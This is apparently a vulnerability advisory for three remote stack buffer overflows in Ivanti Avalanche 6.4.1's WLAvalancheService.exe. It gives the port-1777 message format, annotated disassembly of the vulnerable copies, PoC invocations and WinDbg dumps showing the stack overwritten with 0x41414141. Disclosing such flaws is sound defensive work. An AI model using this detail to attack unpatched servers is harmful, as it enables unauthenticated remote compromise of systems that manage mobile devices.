Multiple vulnerabilities exist in Ivanti Avalanche v6.4.1 WLAvalancheService.exe.
CVE-2023-41727 - MuProperty type 100 stack-based buffer overflow (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
A message sent to WLAvalancheService.exe on TCP port 1777 has the following structure:
// be = big-endian
strut msg
{
preamble pre;
hp hdrpay;
};
struct preamble
{
be32 MsgSize; // size of hp + 16
be32 HdrSize; // size of hp.hdr
be32 PayloadSize // size of hp.payload
be32 unk;
};
// header + payload
struct hp
{
MuProperty hdr[]; // hdr as array of MuProperty structure(s)
MuProperty payload[]; // payload as array of MuProperty structure(s)
byte pad[]; // zero-padded to 16-byte boundary
};
struct MuProperty
{
be32 type; // property type, valid: 1-9, 100-102
be32 NameSize;
be32 ValueSize;
byte name[NameSize];
byte value[ValueSize]; // format depends on @type
// 3 - hex string
// 9 - list of decimal strings separated by ;
// 100-102 - list of tokens separated by ;
};
When processing a MuProperty type 100, WLAvalancheService.exe copies user-supplied data to a fixed-size stack-based buffer. An unauthenticated remote attacker can specify a long MuProperty type 100 to overflow the buffer. The following code snippet shows vulnerability:
// WLAvalancheService.exe in Avalanche v6.4.1
[...]
.text:0042AF00 mov ecx, [ebp+TokenSize] ; attacker-controlled token size
.text:0042AF03 mov esi, [ebp+pbToken] ; attacker-controlled token data
.text:0042AF06 lea edi, [ebp+buf80] ; fixed-size stack buf ->
.text:0042AF06 ; stack overflow !!!
.text:0042AF0C mov eax, ecx
.text:0042AF0E shr ecx, 2
.text:0042AF11 memcpy
.text:0042AF11 rep movsd
.text:0042AF13 mov ecx, eax
.text:0042AF15 and ecx, 3
.text:0042AF18 rep movsb
[...]
PoC:
python3 avalanche_v6.4.1_WLAvalancheService_stack_bof.py -t <target-host> -p 1777 --vuln 1
Attempting to overflow a stack-based buffer using MuProperty type 100...
Traceback (most recent call last):
File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 86, in <module>
res = recv_msg(s)
File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 32, in recv_msg
data = recvall(sock, 0x10)
File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 22, in recvall
packet = sock.recv(n - len(data))
ConnectionResetError: [Errno 104] Connection reset by peer
Sample crash in WinDbg:
0:059> g
(102c.29dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Wavelink\Avalanche\MobileDeviceServer\WLAvalancheService.exe
eax=00001000 ebx=025ab100 ecx=000002a2 edx=00000000 esi=0274ee11 edi=04cc0000
eip=0042af11 esp=04cbfa4c ebp=04cbfb1c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
WLAvalancheService+0x2af11:
0042af11 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:041> kb
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 04cbfb1c 41414141 41414141 41414141 41414141 WLAvalancheService+0x2af11
01 04cbfb20 41414141 41414141 41414141 41414141 0x41414141
02 04cbfb24 41414141 41414141 41414141 41414141 0x41414141
03 04cbfb28 41414141 41414141 41414141 41414141 0x41414141
[...]
CVE-2023-46216 - MuProperty type 101 stack-based buffer overflow (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
When processing a MuProperty type 101, WLAvalancheService.exe copies user-supplied data to a fixed-size stack-based buffer. An unauthenticated remote attacker can specify a long MuProperty type 101 to overflow the buffer. The following code snippet shows vulnerability:
// WLAvalancheService.exe in Avalanche v6.4.1
[...]
.text:0042B1A7 mov ecx, [ebp+TokenSize] ; attacker-controlled token size
.text:0042B1AA mov esi, [ebp+pbToken] ; attacker-controlled token data
.text:0042B1AD lea edi, [ebp+buf80] ; fixed-size stack buf ->
.text:0042B1AD ; stack overflow !!!
.text:0042B1B3 mov eax, ecx
.text:0042B1B5 shr ecx, 2
.text:0042B1B8 memcpy
.text:0042B1B8 rep movsd
.text:0042B1BA mov ecx, eax
.text:0042B1BC and ecx, 3
.text:0042B1BF rep movsb
[...]
PoC:
python3 avalanche_v6.4.1_WLAvalancheService_stack_bof.py -t <target-host> -p 1777 --vuln 2
Attempting to overflow a stack-based buffer using MuProperty type 101...
Traceback (most recent call last):
File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 86, in <module>
res = recv_msg(s)
File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 32, in recv_msg
data = recvall(sock, 0x10)
File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 22, in recvall
packet = sock.recv(n - len(data))
ConnectionResetError: [Errno 104] Connection reset by peer
Sample crash in WinDbg:
0:060> g
(259c.17e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Wavelink\Avalanche\MobileDeviceServer\WLAvalancheService.exe
eax=00001000 ebx=025c8a68 ecx=000002a2 edx=00000001 esi=02765621 edi=04f60000
eip=0042b1b8 esp=04f5fa4c ebp=04f5fb1c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
WLAvalancheService+0x2b1b8:
0042b1b8 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:042> kb
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 04f5fb1c 41414141 41414141 41414141 41414141 WLAvalancheService+0x2b1b8
01 04f5fb20 41414141 41414141 41414141 41414141 0x41414141
02 04f5fb24 41414141 41414141 41414141 41414141 0x41414141
03 04f5fb28 41414141 41414141 41414141 41414141 0x41414141
[...]
CVE-2023-46217 - MuProperty type 102 stack-based buffer overflow (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
When processing a MuProperty type 102, WLAvalancheService.exe copies user-supplied data to a fixed-size stack-based buffer. An unauthenticated remote attacker can specify a long MuProperty type 102 to overflow the buffer. The following code snippet shows vulnerability:
// WLAvalancheService.exe in Avalanche v6.4.1
[...]
.text:0042B27D mov ecx, [ebp+TokenSize] ; attacker-controlled token size
.text:0042B280 mov esi, [ebp+pbToken] ; attacker-controlled token data
.text:0042B283 lea edi, [ebp+buf80] ; fixed-size stack buf ->
.text:0042B283 ; stack overflow !!!
.text:0042B289 mov eax, ecx
.text:0042B28B shr ecx, 2
.text:0042B28E memcpy
.text:0042B28E rep movsd
.text:0042B290 mov ecx, eax
.text:0042B292 and ecx, 3
.text:0042B295 rep movsb
[...]
PoC:
python3 avalanche_v6.4.1_WLAvalancheService_stack_bof.py -t <target-host> -p 1777 --vuln 3
Attempting to overflow a stack-based buffer using MuProperty type 102...
Traceback (most recent call last):
File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 86, in <module>
res = recv_msg(s)
File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 32, in recv_msg
data = recvall(sock, 0x10)
File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 22, in recvall
packet = sock.recv(n - len(data))
ConnectionResetError: [Errno 104] Connection reset by peer
Sample crash in WinDbg:
0:060> g
(2a44.1f28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Wavelink\Avalanche\MobileDeviceServer\WLAvalancheService.exe
eax=00001000 ebx=025cbc48 ecx=000002a2 edx=0275ab2a esi=0275a0a1 edi=04f60000
eip=0042b28e esp=04f5fa4c ebp=04f5fb1c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
WLAvalancheService+0x2b28e:
0042b28e f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:044> kb
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 04f5fb1c 41414141 41414141 41414141 41414141 WLAvalancheService+0x2b28e
01 04f5fb20 41414141 41414141 41414141 41414141 0x41414141
02 04f5fb24 41414141 41414141 41414141 41414141 0x41414141
03 04f5fb28 41414141 41414141 41414141 41414141 0x41414141
[...]